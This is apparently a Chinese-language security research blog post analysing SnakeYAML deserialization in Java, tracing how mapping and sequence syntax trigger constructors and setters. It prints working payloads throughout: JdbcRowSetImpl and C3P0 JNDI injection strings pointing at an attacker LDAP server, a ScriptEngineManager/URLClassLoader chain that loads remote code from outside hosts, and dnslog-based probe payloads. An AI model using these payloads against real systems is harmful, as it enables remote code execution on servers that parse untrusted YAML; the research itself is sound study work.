1. 1. SnakeYaml与Fastjson的功能对比
  2. 2. 映射与序列
  3. 3. 映射(Mapping)
    1. 3.1. JdbcRowSetImpl链
  4. 4. 序列(Sequence)
    1. 4.1. javax.script.ScriptEngineManager链
  5. 5. SnakeYaml + C3P0
    1. 5.1. jndi链
    2. 5.2. Hex流反序化链
  6. 6. 探测payload
  7. 7. 写在最后

SnakeYaml与Fastjson的功能对比

SnakeYaml的功能是将一个java对象序列化为.yaml文件 && 将.yaml文件反序列化回一个java对象

SnakeYaml的功能是将一个java对象序列化为.json文件 && 将.json文件反序列化回一个java对象

1
2
3
Yaml yaml = new Yaml();
yaml.dump(xxxx); //将java对象序列化转换为.yaml文件
yaml.load(xxxx); //入参为字符串/.yaml文件 -> 反序列化为java对象 -> 产生java反序列化漏洞
1
SnakeYaml中的 !!User{age: 18, name: xiaobei} 中的 !! --> 等效于 Fastjson中的 @type

映射与序列

1
2
3
4
5
6
7
8
9
10
11
12
13
SnakeYaml序列化java对象后字符串 - 映射(Mapping)写法:
!!User{age: 18, name: xiaobei}

等价YAML语法写法:
!!User
age: 18
name: xiaobei

等价JSON结构:
{
"age": 18
"name": xiaobei
}
1
2
3
SnakeYaml序列化java对象后字符串 - 序列(Sequence)写法:
!!javax.script.ScriptEngineManager [!!java.net.URLClassLoader [[!!java.net.URL [\"http://f80226cf33.ipv6.1433.eu.org\"]]]]
--链式结构

所以这两种写法在SnakeYaml中对应着两个不同的构造函数

映射(Mapping)

先用一个User类Demo进行调试分析

User.java

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
public class User {
private String name;
private int age;

public User() {
System.out.println("User类的无参构造函数被调用");
}

public void setName(String name) {
System.out.println("setName方法被调用");
this.name = name;
}

public String getName() {
System.out.println("getName方法被调用");
return name;
}

public int getAge() {
System.out.println("getAge方法被调用");
return age;
}

public void setAge(int age) {
System.out.println("setAge方法被调用");
this.age = age;
}
}

SnakeYamlDemo.java

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
import org.yaml.snakeyaml.Yaml;

public class SankeYamlDemo {
public static void main(String[] args) {
deserialize();
}

public static void serialize() {
User user = new User();
user.setName("xiaobei");
user.setAge(18);
Yaml yaml = new Yaml();
String dump = yaml.dump(user);
System.out.println(dump);
}

public static void deserialize() {
String s = "!!User {age: 18, name: xiaobei}";
Yaml yaml = new Yaml();
User user = yaml.load(s);
}
}

---------------------------------------------------
调用结果:
User类的无参构造函数被调用
setAge方法被调用
setName方法被调用

可以看到反序列化过程中调用了User类的无参构造方法和setter方法。

调用堆栈:

1
2
3
4
5
6
7
8
9
constructJavaBean2ndStep:285, Constructor$ConstructMapping (org.yaml.snakeyaml.constructor)
construct:171, Constructor$ConstructMapping (org.yaml.snakeyaml.constructor)
construct:331, Constructor$ConstructYamlObject (org.yaml.snakeyaml.constructor)
constructObjectNoCheck:229, BaseConstructor (org.yaml.snakeyaml.constructor)
constructObject:219, BaseConstructor (org.yaml.snakeyaml.constructor)
constructDocument:173, BaseConstructor (org.yaml.snakeyaml.constructor)
getSingleData:157, BaseConstructor (org.yaml.snakeyaml.constructor)
loadFromReader:490, Yaml (org.yaml.snakeyaml)
load:416, Yaml (org.yaml.snakeyaml)

因为!!User {age: 18, name: xiaobei}属于映射,所以调用MappingNode的构造函数org.yaml.snakeyaml.constructor.Constructor.ConstructMapping#construct,这里通过调用内置逻辑创建了User类的实例对象,跟进去看一下内置逻辑是怎么写的

image-20250324173052599

最终的逻辑在org.yaml.snakeyaml.constructor.BaseConstructor#newInstance(java.lang.Class<?>, org.yaml.snakeyaml.nodes.Node, boolean),通过反射机制获取并调用User类的无参构造方法,并调用创建User类的实例对象

image-20250324173521094

继续返回跟进constructJavaBean2ndStep方法,在这个方法中会取出映射中的KeyValue的值,并利用反射机制调用User类的``setter`方法进行赋值

image-20250324173839048

image-20250324173915382

image-20250324174011413

JdbcRowSetImpl链

已知当SnakeYaml反序列化字符串为Mapping映射形式时,会调用反序列化目标类的无参构造方法和setter方法,所以思路1是利用JdbcRowSetImpl链打Jndi注入

1
2
3
4
Payload:
String command = "!!com.sun.rowset.JdbcRowSetImpl {dataSourceName: ldap://192.168.43.95:8085/ZsKMAVbg, autoCommit: true}";
Yaml yaml = new Yaml();
yaml.load(command);

序列(Sequence)

1
2
3
4
Payload:
String command = "!!javax.script.ScriptEngineManager [!!java.net.URLClassLoader [[!!java.net.URL [\"http://u4zgic3x5a6v3nm7nx00okga51bszunj.oastify.com\"]]]]";
Yaml yaml = new Yaml();
yaml.load(command);

重新打断点跟进,和映射(Mapping)的逻辑有所不同,先来到org.yaml.snakeyaml.constructor.Constructor.ConstructYamlObject#construct

image-20250325083021336

来到构造函数org.yaml.snakeyaml.constructor.Constructor.ConstructSequence,在for循环中进行递归调用,最后返回的是被赋完值的URLClassLoader对象

image-20250325083457964

javax.script.ScriptEngineManager链

工具项目地址:https://github.com/artsploit/yaml-payload

Java-SPI机制分析:https://javaguide.cn/java/basis/spi.html#spi-%E4%BB%8B%E7%BB%8D

Payload即上文序列(Sequence)调试的payload,工具利用方法参考README.md文件和文章:

https://www.cnblogs.com/LittleHann/p/17828948.html

SnakeYaml + C3P0

C3P0链分析见 -> https://kagty1.github.io/2025/03/25/C3P0%E9%93%BE%E5%88%86%E6%9E%90/

jndi链
1
2
3
4
5
6
7
public class vulDemo {
public static void main(String[] args) {
String command = "!!com.mchange.v2.c3p0.JndiRefForwardingDataSource {jndiName: ldap://192.168.43.95:8085/evilRef, loginTimeout: 8}";
Yaml yaml = new Yaml();
yaml.load(command);
}
}
Hex流反序化链

jndi链同理,构造相似payload即可,原理不做赘述

探测payload

payload参考:https://y4tacker.github.io/2022/02/08/year/2022/2/SnakeYAML%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E5%8F%8A%E5%8F%AF%E5%88%A9%E7%94%A8Gadget%E5%88%86%E6%9E%90/#%E6%8E%A2%E6%B5%8BSnakeYAML

URLDNS链参考:https://kagty1.github.io/2025/02/07/Ysoserial_URLDNS%E9%93%BE%E5%88%86%E6%9E%90/

1
2
3
4
5
6
7
8
9
10
11
12
13
14
调用堆栈:
java.lang.Object#hashCode
processDuplicateKeys:94, SafeConstructor (org.yaml.snakeyaml.constructor)
flattenMapping:76, SafeConstructor (org.yaml.snakeyaml.constructor)
constructMapping2ndStep:189, SafeConstructor (org.yaml.snakeyaml.constructor)
constructMapping:460, BaseConstructor (org.yaml.snakeyaml.constructor)
construct:556, SafeConstructor$ConstructYamlMap (org.yaml.snakeyaml.constructor)
constructObjectNoCheck:229, BaseConstructor (org.yaml.snakeyaml.constructor)
constructObject:219, BaseConstructor (org.yaml.snakeyaml.constructor)
constructDocument:173, BaseConstructor (org.yaml.snakeyaml.constructor)
getSingleData:157, BaseConstructor (org.yaml.snakeyaml.constructor)
loadFromReader:490, Yaml (org.yaml.snakeyaml)
load:416, Yaml (org.yaml.snakeyaml)
main:10, vulDemo
1
2
3
Payload:
(1) !!java.net.URL [null, \"http://osrwbf.dnslog.cn\"]: 1
(2) key: [!!java.lang.String []: 0, !!java.net.URL [null, \"http://5ydl3f.dnslog.cn\"]: 1]
1
2
3
4
5
6
7
public class vulDemo {
public static void main(String[] args) {
String command = "!!java.net.URL [null, \"http://6e8pgb.dnslog.cn\"]: 1";
Yaml yaml = new Yaml();
yaml.load(command);
}
}

写在最后

感觉SnakeYaml反序列化的本质依然是对setter方法的调用,所以一些Fastjson的链子在SnakeYaml中也可以打,还是需要慢慢研究。